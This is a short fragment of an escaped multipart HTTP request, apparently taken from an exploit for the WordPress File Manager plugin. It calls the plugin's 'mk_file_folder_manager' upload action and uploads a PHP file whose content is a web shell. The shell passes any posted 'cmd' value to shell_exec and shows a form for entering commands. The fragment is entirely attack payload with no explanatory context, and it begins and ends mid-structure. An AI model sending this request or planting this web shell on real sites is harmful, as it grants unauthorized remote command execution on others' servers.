name=\"_wpnonce\"\r\n\r\n9a07c84cf5\r\n--388fc366bb5876113c37a2c31718cb35\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nmk_file_folder_manager\r\n--388fc366bb5876113c37a2c31718cb35\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--388fc366bb5876113c37a2c31718cb35\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--388fc366bb5876113c37a2c31718cb35\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"pcvmryuw.php\"\r\nContent-Type: multipart\/form-data\r\n\r\n<?php echo \"File Manager<br>\"; if(isset($_POST[\"cmd\"])){echo \"<pre>\".shell_exec($_POST[\"cmd\"]).\"<\/pre>\";} ?><form method=\"post\"><input type=\"text\" name=\"cmd\"><input type=\"submit\"><\/form>\r\n--388fc366bb5876113c37a2c31718cb35--\r\n"]